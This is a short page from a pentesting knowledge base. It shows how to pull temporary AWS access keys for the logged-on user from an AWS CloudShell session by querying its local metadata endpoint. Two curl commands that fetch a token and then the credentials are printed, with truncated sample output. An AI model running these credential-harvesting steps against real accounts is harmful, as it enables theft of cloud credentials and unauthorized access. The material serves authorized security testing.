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  • Why Use This?
  • Obtaining AWS Access Keys from CloudShell

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  1. Cloud Security
  2. AWS Attacks and Techniques

Generate IAM Access Keys from CloudShell

Using an undocumented endpoint, we can leverage CloudShell from the AWS Console and create AWS Access Keys for the logged on user.

PreviousGenerate AWS Console SessionNextPassword Spraying AWS IAM Users

Last updated 5 months ago

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I originally learned of this from Christophe Tafani-Dereeper's

Why Use This?

  • When performing pentesting or red teaming, we may encounter a user with console access or gain access to an existing console session

  • By retrieving AWS Access Keys, we can leverage this for further enumeration from our command line and tools


Obtaining AWS Access Keys from CloudShell

  • CloudShell provides a ready-to-use CLI environment for the logged-on user/role without needing to set up credentials like you would on say your computer

  • It's able to do this because it's retrieving credentials each time a command is run (see screenshot) from the instance metadata service

# Get the token 
TOKEN=`curl -X PUT "http://localhost:1338/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
# Retrieve creds 
curl -H "X-aws-ec2-metadata-token: $TOKEN" localhost:1338/latest/meta-data/container/security-credentials
{
        "Type": "",
        "AccessKeyId": "ASIAUU...",
        "SecretAccessKey": "ak24Bx8e...",
        "Token": "IQoJb3Jp...",
        "Expiration": "2024-12-18T18:10:17Z",
        "Code": "Success"

Now that we know the endpoint, we can ourselves and get the plaintext credentials

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CloudShell:aws iam list-users --debug